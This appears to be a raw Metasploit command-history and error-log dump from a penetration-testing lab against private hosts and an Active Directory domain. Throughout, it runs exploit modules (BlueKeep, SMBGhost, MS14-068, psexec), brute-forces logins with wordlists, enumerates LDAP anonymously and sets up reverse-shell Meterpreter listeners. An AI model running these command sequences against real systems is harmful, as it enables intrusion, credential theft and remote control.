back
search jetty
use 3
options
set RHOSTS 10.0.1.15
set RPORT 8090
run
back
search uvicorn
search mysql
use 59
options


_raw: [11/08/2025 17:39:10] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/08/2025 17:36:35] [e(0)] core: Failed to open history file: /root/.msf4/history with error: No such file or directory @ rb_sysopen - /root/.msf4/history


_raw: [11/08/2025 17:36:23] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
search smb
search smb scanner
use 24
show options
set rhost 10.0.1.21
set rport 445
run
searchsploit 3.1.1
search smbghost
use 0
show options
use 1
show options
run
clear
ls
search scanner/smb
use 16
show options
run
clear
ls
search bluekeep
use 3
show options
ls
exit


_raw: [11/08/2025 17:29:20] [d(0)] core: Error with SMB fingerprint: Login Failed: Connection reset by peer


_raw: [11/08/2025 17:29:20] [e(0)] core: Errno::ECONNRESET Connection reset by peer


_raw: [11/08/2025 17:28:13] [e(0)] core: Exploit failed (windows/smb/psexec): Rex::Proto::SMB::Exceptions::LoginError Login Failed: (0xc000006d) STATUS_LOGON_FAILURE: The attempted logon is invalid. This is either due to a bad username or authentication information. - Rex::Proto::SMB::Exceptions::LoginError Login Failed: (0xc000006d) STATUS_LOGON_FAILURE: The attempted logon is invalid. This is either due to a bad username or authentication information.


_raw: [11/08/2025 17:28:13] [d(0)] core: Negotiated SMB version: SMB3


_raw: [11/08/2025 17:27:20] [e(0)] core: Exploit failed (windows/smb/psexec): Rex::Proto::SMB::Exceptions::LoginError Login Failed: (0xc000006d) STATUS_LOGON_FAILURE: The attempted logon is invalid. This is either due to a bad username or authentication information. - Rex::Proto::SMB::Exceptions::LoginError Login Failed: (0xc000006d) STATUS_LOGON_FAILURE: The attempted logon is invalid. This is either due to a bad username or authentication information.


_raw: [11/08/2025 17:27:20] [d(0)] core: Negotiated SMB version: SMB3


_raw: [11/08/2025 17:27:10] [e(0)] core: Exploit failed (windows/smb/psexec): Rex::Proto::SMB::Exceptions::LoginError Login Failed: (0xc000006d) STATUS_LOGON_FAILURE: The attempted logon is invalid. This is either due to a bad username or authentication information. - Rex::Proto::SMB::Exceptions::LoginError Login Failed: (0xc000006d) STATUS_LOGON_FAILURE: The attempted logon is invalid. This is either due to a bad username or authentication information.


_raw: [11/08/2025 17:27:10] [d(0)] core: Negotiated SMB version: SMB3


_raw: [11/08/2025 17:25:46] [d(0)] core: Error with SMB fingerprint: Login Failed: Connection reset by peer


_raw: [11/08/2025 17:25:46] [e(0)] core: Errno::ECONNRESET Connection reset by peer


_raw: [11/08/2025 17:25:34] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
search psexec
use 24
options
set RHOSTS 10.0.1.6
set smbpass lpeterson
set SMBUser lpeterson
set SMBUser Administrator
set SMBPass
exit


_raw: [11/08/2025 17:24:10] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
use auxiliary/scanner/mysql/mysql_login
set rhosts 10.0.1.15 10.0.1.99
set user_file /home/pentester/users.txt
set password IamTheCaptain
ls
show options
run
exit


_raw: [11/08/2025 17:23:43] [e(0)] core: Scan Error: Bad handshake - Mysql::ServerError::HandshakeError Bad handshake


_raw: [11/08/2025 17:21:56] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/08/2025 17:18:23] [e(0)] core: Failed to open history file: /home/pentester/.msf4/history with error: No such file or directory @ rb_sysopen - /home/pentester/.msf4/history


_raw: [11/08/2025 17:18:11] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/08/2025 17:17:58] [e(0)] core: Auxiliary failed - NameError uninitialized constant Net::NTLM


_raw:
[11/08/2025 17:17:58] [e(0)] core: Thread Exception: ScannerHost(scanner/rdp/rdp_scanner)-10.0.1.21  critical=false    source:
    /usr/share/metasploit-framework/lib/msf/core/auxiliary/scanner.rb:110:in `block in run'
    <internal:kernel>:187:in `loop'
    /usr/share/metasploit-framework/lib/msf/core/auxiliary/scanner.rb:93:in `run'
    /usr/share/metasploit-framework/lib/msf/base/simple/auxiliary.rb:180:in `job_run_proc'
    /usr/share/metasploit-framework/lib/msf/base/simple/auxiliary.rb:87:in `run_simple'
    /usr/share/metasploit-framework/lib/msf/base/simple/auxiliary.rb:98:in `run_simple'
    /usr/share/metasploit-framework/lib/msf/ui/console/command_dispatcher/auxiliary.rb:66:in `cmd_run'
    /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:582:in `run_command'
    /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:531:in `block in run_single'
    /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:525:in `each'
    /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:525:in `run_single'
    /usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:165:in `block in run'
    /usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:309:in `block in with_history_manager_context'
    /usr/share/metasploit-framework/lib/rex/ui/text/shell/history_manager.rb:37:in `with_context'
    /usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:306:in `with_history_manager_context'
    /usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:133:in `run'
    /usr/share/metasploit-framework/lib/metasploit/framework/command/console.rb:54:in `start'
    /usr/share/metasploit-framework/lib/metasploit/framework/command/base.rb:82:in `start'
    /usr/bin/msfconsole:23:in `<main>' - NameError uninitialized constant Net::NTLM


_raw: [11/08/2025 17:17:21] [e(0)] core: NameError uninitialized constant Net::NTLM


_raw:
use auxiliary/scanner/mysql/mysql_login
show options
set BLANK_PASSWORDS
set PASSWORD IamTheCaptain
set USER_FILE /home/pentester/users.txt
set RHOSTS 10.0.1.15 10.0.1.99
run
exit


_raw: [11/08/2025 17:16:48] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/08/2025 17:16:41] [e(0)] core: Scan Error: Bad handshake - Mysql::ServerError::HandshakeError Bad handshake


_raw:
search bluekeep
use 2
show options
set rhost 10.0.1.21
set RDP_CLIENT_IP 10.0.1.21
run
show options
set RDP_CLIENT_IP 10.0.254.206
run
search bluekeep
use 4
show options
set RDP_CLIENT_IP 10.0.254.206
set rhosts 10.0.1.15
run
exit


_raw: [11/08/2025 17:15:16] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/08/2025 17:14:00] [e(0)] core: NameError uninitialized constant Net::NTLM


_raw: [11/08/2025 17:13:15] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
ldap searchc
ldapsearch
sessions
ldapsearch -h
search LDAP
use 32
options
sessions
run
sessions
ldapsearch
ldapsearch -x -D '' -w '' -H 10.0.1.6 -b "DC=allports.local0" "(&(objectClass=user)(objectCategory=person))"
ldapsearch -x -D '' -w '' -H 10.0.1.6:3268 -b "DC=allports.local0" "(&(objectClass=user)(objectCategory=person))"
ldapsearch -x -D '' -w '' -H ldap://10.0.1.6:3268 -b "DC=allports.local0" "(&(objectClass=user)(objectCategory=person))"
ldapsearch -x -D '' -w '' -H ldap://10.0.1.6:3268 -s base namingcontexts
ldapsearch -x -D '' -w '' -H ldap://10.0.1.6:3268 -b 'DC=allports,DC=local' 'objectClass=*'
ldapsearch -x -D '' -w '' -H ldap://10.0.1.6:3268 -b 'DC=allports,DC=local' '(objectClass=user)'
ldapsearch -x -D '' -w '' -H ldap://10.0.1.6:3268 -b 'DC=allports,DC=local' '(objectClass=group)'
ldapsearch -x -D '' -w '' -H ldap://10.0.1.6:3268 -b 'DC=allports,DC=local' '(objectClass=computer)'
group="Domain Users"
$group="Domain Users"
help
ldapsearch -x -D '' -w '' -H ldap://10.0.1.6:3268 -b 'DC=allports,DC=local' 'sAMAccountNmae=Domain Users''
ldapsearch -x -D '' -w '' -H ldap://10.0.1.6:3268 -b 'DC=allports,DC=local' 'sAMAccountNmae=Domain Users'
ldapsearch -x -D '' -w '' -H ldap://10.0.1.6:3268 -b 'DC=allports,DC=local' 'sAMAccountName=Domain Users'
exit
exit -y


_raw: [11/08/2025 17:12:40] [e(0)] core: NameError uninitialized constant Net::NTLM


_raw: [11/08/2025 17:11:49] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
search bluekeep
use 0
show options
set rhost 10.0.1.21
set RDP_CLIENT_IP 10.0.1.21
set RDP_cLIENT_NAME APT
show options
run
set RDP_DOMAIN allports.local
run
show options
search bluekeep
use 3
show options
set rhost 10.0.1.21
set RDP_CLIENT_IP 10.0.1.21
run
set RDP_CLIENT_NAME APT
run
set ForceExploit True
run
show options
clear
ls
exit


_raw: [11/08/2025 17:02:05] [e(0)] core: NameError uninitialized constant Net::NTLM


_raw: [11/08/2025 17:01:43] [e(0)] core: NameError uninitialized constant Net::NTLM


_raw: [11/08/2025 16:59:00] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
search 14-068
use 0
show options
set DOMAIN ALLPORTS.LOCAL
set PASSWORD ""
set RHOSTS 10.0.1.6
set USERNAME ""
get USER_SID ""
run
search smbghost
use 0
use 3
show options
set RHOSTS 10.0.1.6
info
show options
run
set DefangedMode false
run
exit


_raw:
search commplex
search active directory
use 75
show options
back
search ldap
use 31
run
set RHOSTS 10.0.1.6
run
set RPORT 3268
run
options
set ANONYMOUS_LOGIN true
set PASS_FILE /usr/share/wordlists/rockyou.txt
set STOP_ON_SUCCESS true
run
set PASS_FILE
undo PASS_FILE
search ms
search jetty


_raw:
CVE-2022-26809
search CVE-2022-26809
exit
use multi/handler
set LHOST 10.0.254.201
set LPORT 4444
set payload windows/meterpreter/reverse_tcp
run
exit
search CVE-2020-1206
search SMBBleed
search bleed
search ghost
search smb2
search smbghost
use 0
info
exit
search smbghost
use 3
info
set RHOSTS 10.0.1.20
exploit
info -d
info
set RPORT 8888
exploit
set RPORT 445
info
exploit
info
payload
exit
use auxiliary/admin/mssql/mssql_enum_sql_logins
info
set RHOST 10.0.1.99
set RPORT 3306
exploit
set RHOST 10.0.1.15
exploit
info
exit
search timeroast
use 0
info
exit


_raw: [11/08/2025 16:51:45] [e(0)] core: Module wmap not found, and no loading errors found. If you're using a custom module refer to our wiki: https://docs.metasploit.com/docs/using-metasploit/intermediate/running-private-modules.html


_raw: [11/08/2025 16:50:48] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/08/2025 16:42:23] [e(0)] core: Error running against host 10.0.1.6 - IOError closed stream


_raw: [11/08/2025 16:42:23] [e(0)] core: LDAP Client: IOError - IOError closed stream


_raw:
[11/08/2025 16:40:31] [e(0)] core: Thread Exception: LDAP-shell-keepalive-4  critical=false    source:
    /usr/share/metasploit-framework/lib/msf/base/sessions/ldap.rb:170:in `start_keep_alive_loop'
    /usr/share/metasploit-framework/lib/msf/base/sessions/ldap.rb:165:in `on_registered'
    /usr/share/metasploit-framework/lib/msf/core/session_manager.rb:225:in `register'
    /usr/share/metasploit-framework/lib/msf/core/auxiliary/command_shell.rb:50:in `start_session'
    /usr/share/metasploit-framework/lib/msf/core/auxiliary/report_summary.rb:123:in `start_session'
    /usr/share/metasploit-framework/modules/auxiliary/scanner/ldap/ldap_login.rb:216:in `session_setup'
    /usr/share/metasploit-framework/modules/auxiliary/scanner/ldap/ldap_login.rb:193:in `create_session'
    /usr/share/metasploit-framework/modules/auxiliary/scanner/ldap/ldap_login.rb:181:in `block in run_host'
    /usr/share/metasploit-framework/lib/metasploit/framework/login_scanner/base.rb:237:in `block in scan!'
    /usr/share/metasploit-framework/lib/metasploit/framework/login_scanner/ldap.rb:104:in `block in each_credential'
    /usr/share/metasploit-framework/lib/metasploit/framework/credential_collection.rb:276:in `block in each_filtered'
    /usr/share/metasploit-framework/lib/metasploit/framework/credential_collection.rb:428:in `each_unfiltered_username_first'
    /usr/share/metasploit-framework/lib/metasploit/framework/credential_collection.rb:273:in `each_filtered'
    /usr/share/metasploit-framework/lib/metasploit/framework/login_scanner/ldap.rb:79:in `each_credential'
    /usr/share/metasploit-framework/lib/metasploit/framework/login_scanner/base.rb:208:in `scan!'
    /usr/share/metasploit-framework/modules/auxiliary/scanner/ldap/ldap_login.rb:159:in `run_host'
    /usr/share/metasploit-framework/lib/msf/core/auxiliary/scanner.rb:116:in `block (2 levels) in run'
    /usr/share/metasploit-framework/lib/msf/core/thread_manager.rb:105:in `block in spawn' - IOError closed stream


_raw: [11/08/2025 16:39:13] [w(0)] core: Warning: trying to report a session_event for a session with no db_record (1)


_raw: [11/08/2025 16:36:17] [w(0)] core: monitor_rsock: the remote socket has been closed, exiting loop


_raw: [11/08/2025 16:36:09] [e(0)] core: Failed to open history file: /home/pentester/.msf4/history with error: No such file or directory @ rb_sysopen - /home/pentester/.msf4/history


_raw: [11/08/2025 16:35:02] [w(0)] core: Warning: trying to report a session_event for a session with no db_record (1)


_raw: [11/08/2025 16:34:44] [w(0)] core: Warning: trying to report a session_event for a session with no db_record (1)


_raw: [11/08/2025 16:34:36] [w(0)] core: Warning: trying to report a session_event for a session with no db_record (1)


_raw: [11/08/2025 16:34:32] [w(0)] core: Warning: trying to report a session_event for a session with no db_record (1)


_raw: [11/08/2025 16:34:14] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
search ldapp
search ldap
use 31
options
set ANONYMOUS_LOGIN true
set CREATESESSION true
set PASS_FILE /usr/share/wordlists/rockyou.txt
set RPOT 3268
set RPORT 3268
options
set ANONYMOUS_LOGIN true
run
set RHOSTS 10.0.1.6
run
sessions -i
session -i 1
sessions -i 1


_raw: [11/08/2025 16:32:34] [e(0)] core: Failed to open history file: /home/pentester/.msf4/ldap_session_history with error: No such file or directory @ rb_sysopen - /home/pentester/.msf4/ldap_session_history


_raw: [11/08/2025 16:32:25] [e(0)] core: Interactive#tunnel_local error - IOError closed stream


_raw: [11/08/2025 16:31:31] [e(0)] core: Failed to setup the session - NoMethodError undefined method `delete_prefix' for an instance of Integer


_raw: [11/08/2025 16:31:21] [e(0)] core: rhosts walker invalid - NoMethodError undefined method `scan' for nil


_raw:
search mikro
use 3
options
exit
search uvicorn
exit
clear
ls
search scanner smb
use 4
use 13
options
setg RHOSTS 10.0.1.20
search RPC
search scanner RPC
search netbios
use 2
options
run
set RPORT 139
run
search microsoft terminal
clear
search netbios ssn
search ssn
search HTTPAPI
search SSDP
use 10
options
set rport 5986
options
run
search msrpc
use 0
options
set rport 49664
search netbios
use 2
options
run
search nginex scanner
search nginex
search nginx
use 6
options
setg RHOSTS 10.0.1.14
run
set RPORT 443
run
options
search gunicorn
search netbios
use 2
clear
setg RHOSTS 10.0.1.21
options
run
search wbt
search ds
search microsoft-ds
clear
search smb scanner
use 4
options
info
run
search smb
search smb scanner
use 23
options
run
search security mode
search smb2
clear
ssh 10.0.1.30
search sql scanner
use 11
options
set TABLE_NAME information_schema
set TABLE_NAME TABLES
set DATABASE_NAME infrormatino_schema
set DATABASE_NAME infrormation_schema
options
run
set FILE_LIST *
options
run
clear
exit
search CVE 2025
search CVE 2025 53054
exit
search msrpc
search rpc
search mcrpc
search msrpc
use 211
use 0
options
search rpc
use 207
options
set RHOSTS 10.0.1.20
options
run
search kerberos
search scanner kerberos
use 0
setg rhosts 10.0.1.6
options
set STOP_ON_SUCCESS true
run
set DOMAIN allports.local0
run
search kpasswd5
search LDAP
search scanner LDAP
use 1
options
set RPORT 3268
options
run
set ANONYMOUS_LOGIN true
set BRUTEFORCE_SPEED 3
set STOP_ON_SUCCESS true
gunzip /usr/share/wordlists/rockyou.txt.gz
cat /usr/share/wordlists
ls /usr/share/wordlists
set PASS_FILE /usr/share/wordlists/rockyou.txt
options
run
sessions
meterpreter
help
sessions
sessions -i 1
sessions
sessions -u 1
sessions
sessions -i 1
sessions
run
sessions -i 1
sessions -i 2
run
sessions -i 3
clear
ls
sessions
run
sessions -i
sessions --i 4
sessions -i 4
search shadow_credentials
search ldap
search scanner ldap
search rbcd
search ldap_query
use 1
options
set SESSION 4
set RPORT 3268
run
sessions -i
options
setg SESSION 4
setg RPORT 3268
run
search asrep
use 2
options
run
set LDAPUsername
run
search ldap anonymous
ssearch asrep
search asrep
use 1
options
use 7
options
run
use 24
run
options
tmux
ls
sessions -i
search ldap_query
use 5
run
options
sessions -i 4


_raw: [11/08/2025 16:30:30] [e(0)] core: Auxiliary failed - IOError closed stream


_raw: [11/08/2025 16:30:30] [e(0)] core: LDAP Client: IOError - IOError closed stream


_raw: [11/08/2025 16:29:14] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/08/2025 16:29:04] [e(0)] core: Exploit failed (multi/handler): Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:9999). - Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:9999).


_raw: [11/08/2025 16:28:34] [e(0)] core: Auxiliary failed - IOError closed stream


_raw: [11/08/2025 16:28:34] [e(0)] core: LDAP Client: IOError - IOError closed stream


_raw: [11/08/2025 16:28:19] [e(0)] core: Auxiliary failed - IOError closed stream


_raw: [11/08/2025 16:28:19] [e(0)] core: LDAP Client: IOError - IOError closed stream


_raw:
use auxiliary/scanner/mysql/mysql_authbypass_hashdump
options
set rhosts 10.0.1.99
run
exit
use auxiliary/scanner/mysql/mysql_version
options
set rhosts 10.0.1.99
run
use auxiliary/scanner/mysql/mysql_authbypass_hashdump
options
set username admin
set rhosts 10.0.1.99
run
set username test
run
exit


_raw: [11/08/2025 16:26:55] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
use auxiliary/admin/mysql/mysql_sql
set rhosts 10.0.1.15
set username root
exit
search mysql 5.7.44
search mysql 5.7
exit
search apache 2.4
info 13
search apache 2.4
exit


_raw: [11/08/2025 16:25:56] [e(0)] core: Exploit failed (multi/handler): Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:9999). - Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:9999).


_raw: [11/08/2025 16:25:49] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/08/2025 16:25:26] [e(0)] core: Auxiliary failed - IOError closed stream


_raw: [11/08/2025 16:25:26] [e(0)] core: LDAP Client: IOError - IOError closed stream


_raw: [11/08/2025 16:25:17] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
ls
jobs
sessions -l
exit
jobs
sessions -l
exit


_raw: [11/08/2025 16:25:05] [e(0)] core: Auxiliary failed - IOError closed stream


_raw: [11/08/2025 16:25:05] [e(0)] core: LDAP Client: IOError - IOError closed stream


_raw: [11/08/2025 16:24:27] [e(0)] core: Exploit failed (multi/handler): Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:9999). - Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:9999).


_raw: [11/08/2025 16:24:20] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/08/2025 16:23:41] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
use auxiliary/scanner/ldap/ldap_login
set RHOSTS 10.0.1.6
options
set RPORT 3268
set ANONYMOUSE_LOGIN true
options
set ANONYMOUSE_LOGIN true
options
set BRUTEFORCE_LOGIN 3
set BRUTEFORCE_SPEED 3
run
seoptions
options
set ANONYMOUSE_LOGIN true
options
set ANONYMOUSE_LOGIN 1
options
set ANONYMOUS_LOGIN true
options
run
ls
exit -y


_raw:
clear
ls
sessions
run
sessions -i
sessions --i 4
sessions -i 4


_raw: [11/08/2025 16:23:25] [e(0)] core: Interactive#tunnel_local error - IOError closed stream


_raw: [11/08/2025 16:23:21] [e(0)] core: Failed to setup the session - NoMethodError undefined method `delete_prefix' for an instance of Integer


_raw:
xexit
eixt
exit
use auxiliary/scanner/smb/smb_login
show options
set RHOSTS 10.0.1.6
set STOP_ON_SUCCESS true
set THREADS 4
set VERBOSE true
set USER_FILE ~/Downloads/results.txt
set PASS_FILE /usr/share/wordlists/rockyou.txt
run
set RHOSTS 10.0.1.6
set STOP_ON_SUCCESS true
set THREADS 4
set VERBOSE true
set USER_FILE ~/Downloads/usernameeeeee.txt
use auxiliary/scanner/smb/smb_login
run
set PASS_FILE /usr/share/wordlists/rockyou.txt
run


_raw: [11/08/2025 16:22:39] [e(0)] core: Auxiliary failed - NoMethodError undefined method `flat_map' for nil


_raw: [11/08/2025 16:22:14] [e(0)] core: Error running against host 10.0.1.6 - Metasploit::Framework::LoginScanner::Invalid Cred details can't be blank, Cred details can't be blank (Metasploit::Framework::LoginScanner::SMB)


_raw: [11/08/2025 16:21:26] [e(0)] core: Failed to setup the session - NoMethodError undefined method `delete_prefix' for an instance of Integer


_raw: [11/08/2025 16:20:32] [e(0)] core: Error running against host 10.0.1.6 - Metasploit::Framework::LoginScanner::Invalid Cred details can't be blank, Cred details can't be blank (Metasploit::Framework::LoginScanner::LDAP)


_raw: [11/08/2025 16:19:59] [e(0)] core: Error running against host 10.0.1.6 - Metasploit::Framework::LoginScanner::Invalid Cred details can't be blank, Cred details can't be blank (Metasploit::Framework::LoginScanner::LDAP)


_raw: [11/08/2025 16:19:56] [e(0)] core: Failed to setup the session - NoMethodError undefined method `delete_prefix' for an instance of Integer


_raw:
sessions
run
sessions -i 1
sessions -i 2
run
sessions -i 3


_raw: [11/08/2025 16:19:30] [e(0)] core: Error running against host 10.0.1.6 - Metasploit::Framework::LoginScanner::Invalid Cred details can't be blank, Cred details can't be blank (Metasploit::Framework::LoginScanner::LDAP)


_raw: [11/08/2025 16:19:30] [e(0)] core: Failed to setup the session - NoMethodError undefined method `delete_prefix' for an instance of Integer


_raw:
sessions
sessions -u 1
sessions
sessions -i 1


_raw: [11/08/2025 16:18:54] [e(0)] core: rhosts walker invalid - NoMethodError undefined method `scan' for nil


_raw: [11/08/2025 16:18:47] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
search msrpc
search rpc
search mcrpc
search msrpc
use 211
use 0
options
search rpc
use 207
options
set RHOSTS 10.0.1.20
options
run
search kerberos
search scanner kerberos
use 0
setg rhosts 10.0.1.6
options
set STOP_ON_SUCCESS true
run
set DOMAIN allports.local0
run
search kpasswd5
search LDAP
search scanner LDAP
use 1
options
set RPORT 3268
options
run
set ANONYMOUS_LOGIN true
set BRUTEFORCE_SPEED 3
set STOP_ON_SUCCESS true
gunzip /usr/share/wordlists/rockyou.txt.gz
cat /usr/share/wordlists
ls /usr/share/wordlists
set PASS_FILE /usr/share/wordlists/rockyou.txt
options
run
sessions
meterpreter
help
sessions
sessions -i 1


_raw: [11/08/2025 16:17:34] [e(0)] core: Failed to open history file: /root/.msf4/ldap_session_history with error: No such file or directory @ rb_sysopen - /root/.msf4/ldap_session_history


_raw: [11/08/2025 16:16:32] [e(0)] core: Interactive#tunnel_local error - IOError closed stream


_raw: [11/08/2025 16:15:23] [e(0)] core: Failed to setup the session - NoMethodError undefined method `delete_prefix' for an instance of Integer


_raw:
use exploit/multi/handler
shell ifconfig
show options
set lhost 127.0.0.1
exit


_raw: [11/08/2025 16:13:07] [e(0)] core: Error running against host 10.0.1.6 - Metasploit::Framework::LoginScanner::Invalid Cred details can't be blank, Cred details can't be blank (Metasploit::Framework::LoginScanner::LDAP)


_raw: [11/08/2025 16:11:48] [e(0)] core: Auxiliary failed - Metasploit::Framework::LoginScanner::Invalid Cred details can't be blank, Cred details can't be blank (Metasploit::Framework::LoginScanner::Kerberos)


_raw: [11/08/2025 16:11:15] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
xexit
eixt
exit
use auxiliary/scanner/smb/smb_login
show options
set RHOSTS 10.0.1.6
set STOP_ON_SUCCESS true
set THREADS 4
set VERBOSE true
set USER_FILE ~/Downloads/results.txt
set PASS_FILE /usr/share/wordlists/rockyou.txt
run


_raw: [11/08/2025 16:07:37] [e(0)] core: Auxiliary failed - NoMethodError undefined method `flat_map' for nil


_raw: [11/08/2025 16:05:15] [e(0)] core: RPC Exception - Msf::RPC::Exception Invalid Module


_raw: [11/08/2025 16:04:10] [e(0)] core: Module auxilary/scanner/smb/smb_login not found, and no loading errors found. If you're using a custom module refer to our wiki: https://docs.metasploit.com/docs/using-metasploit/intermediate/running-private-modules.html


_raw: [11/08/2025 16:03:36] [i(0)] core: generic/shell_reverse_tcp: iteration 1: Successfully encoded with encoder x86/shikata_ga_nai (size is 95)


_raw: [11/08/2025 16:03:20] [e(0)] core: Exploit failed (multi/misc/msf_rpc_console): Rex::ConnectionRefused The connection was refused by the remote host (10.0.1.20:55552). - Rex::ConnectionRefused The connection was refused by the remote host (10.0.1.20:55552).


_raw: [11/08/2025 16:03:20] [i(0)] core: generic/shell_reverse_tcp: payload contains no badchars, skipping automatic encoding


_raw: [11/08/2025 16:02:53] [e(0)] core: RPC Exception - Msf::RPC::Exception Invalid Module


_raw:
search nginx 1.18.0
search apache 2.4.25
exit


_raw: [11/08/2025 16:01:48] [d(0)] core: monitor_rsock: Skipping - functionality not required


_raw: [11/08/2025 16:01:47] [d(0)] core: monitor_rsock: Skipping - functionality not required


_raw: [11/08/2025 16:01:44] [d(0)] core: monitor_rsock: Skipping - functionality not required


_raw: [11/08/2025 16:01:43] [d(0)] core: monitor_rsock: Skipping - functionality not required


_raw: [11/08/2025 16:01:42] [d(0)] core: monitor_rsock: Skipping - functionality not required


_raw: [11/08/2025 16:00:06] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/08/2025 15:59:05] [d(0)] core: monitor_rsock: Skipping - functionality not required


_raw: [11/08/2025 15:59:04] [d(0)] core: monitor_rsock: Skipping - functionality not required


_raw: [11/08/2025 15:59:01] [d(0)] core: monitor_rsock: Skipping - functionality not required


_raw: [11/08/2025 15:59:01] [e(0)] core: Failed to open history file: /home/pentester/.msf4/history with error: No such file or directory @ rb_sysopen - /home/pentester/.msf4/history


_raw: [11/08/2025 15:59:00] [e(0)] core: Failed to open history file: /home/pentester/.msf4/history with error: No such file or directory @ rb_sysopen - /home/pentester/.msf4/history


_raw: [11/08/2025 15:59:00] [d(0)] core: monitor_rsock: Skipping - functionality not required


_raw:
[11/08/2025 15:56:51] [e(0)] core: Thread Exception: WebConsoleShell  critical=false    source:
    /usr/share/metasploit-framework/lib/msf/ui/web/web_console.rb:84:in `initialize'
    /usr/share/metasploit-framework/lib/msf/ui/web/driver.rb:62:in `new'
    /usr/share/metasploit-framework/lib/msf/ui/web/driver.rb:62:in `create_console'
    /usr/share/metasploit-framework/lib/msf/core/rpc/v10/rpc_console.rb:28:in `rpc_create'
    /usr/share/metasploit-framework/lib/msf/core/rpc/v10/service.rb:145:in `block in process'
    /usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/timeout-0.4.3/lib/timeout.rb:185:in `block in timeout'
    /usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/timeout-0.4.3/lib/timeout.rb:38:in `handle_timeout'
    /usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/timeout-0.4.3/lib/timeout.rb:194:in `timeout'
    /usr/share/metasploit-framework/lib/msf/core/rpc/v10/service.rb:143:in `process'
    /usr/share/metasploit-framework/lib/msf/core/rpc/v10/service.rb:81:in `on_request_uri'
    /usr/share/metasploit-framework/lib/msf/core/rpc/v10/service.rb:62:in `block in start'
    /usr/share/metasploit-framework/lib/rex/proto/http/handler/proc.rb:38:in `on_request'
    /usr/share/metasploit-framework/lib/rex/proto/http/server.rb:316:in `dispatch_request'
    /usr/share/metasploit-framework/lib/rex/proto/http/server.rb:250:in `on_client_data'
    /usr/share/metasploit-framework/lib/rex/proto/http/server.rb:109:in `block in start'
    /usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/rex-core-0.1.34/lib/rex/io/stream_server.rb:42:in `on_client_data'
    /usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/rex-core-0.1.34/lib/rex/io/stream_server.rb:185:in `block in monitor_clients'
    /usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/rex-core-0.1.34/lib/rex/io/stream_server.rb:184:in `each'
    /usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/rex-core-0.1.34/lib/rex/io/stream_server.rb:184:in `monitor_clients'
    /usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/rex-core-0.1.34/lib/rex/io/stream_server.rb:64:in `block in start'
    /usr/share/metasploit-framework/lib/rex/thread_factory.rb:22:in `block in spawn'
    /usr/share/metasploit-framework/lib/msf/core/thread_manager.rb:105:in `block in spawn' - ThreadError can't alloc thread


_raw: [11/08/2025 15:56:33] [e(0)] core: Failed to open history file: /home/pentester/.msf4/history with error: No such file or directory @ rb_sysopen - /home/pentester/.msf4/history


_raw: [11/08/2025 15:56:21] [d(0)] core: monitor_rsock: Skipping - functionality not required


_raw: [11/08/2025 15:56:21] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
show options
set LPORT 4443
set LHOST 127.0.0.1
EXPLOIT
exploit
set LHOST 10.0.254.202
exploit
set payload windows/meterpreter/reverse_tcp
set LPORT 4444
exploit


_raw: [11/08/2025 15:54:08] [e(0)] core: Failed to open history file: /home/pentester/.msf4/meterpreter_history with error: No such file or directory @ rb_sysopen - /home/pentester/.msf4/meterpreter_history


_raw:
search CVE 2025
search CVE 2025 53054
exit


_raw: [11/08/2025 15:46:09] [e(0)] core: Exploit failed (multi/handler): Interrupt  - Interrupt


_raw:
search apache 2.4
info 13
search apache 2.4
exit


_raw: [11/08/2025 15:42:06] [e(0)] core: Exploit failed (multi/handler): Interrupt  - Interrupt


_raw: [11/08/2025 15:41:10] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
db_nmap -sV --script=vuln -T4 -Pn 192.168.1.10
db_nmap -sV --script=vuln -T4 -Pn 10.0.1.14
vulns
services
search nginx
use 0
info
set RHOSTS 10.0.1.14
run
set LHOST 10.0.254.201
run
services
back
seach Gunicorn
search Gunicorn
search openssh
use 6
unfo
info
back
service
services


_raw:
search swagger
use 0
show options
set base_path http://10.0.1.15:8081/
run
set base_path /
set swagger_host 10.0.1.15
show optios
show options
run
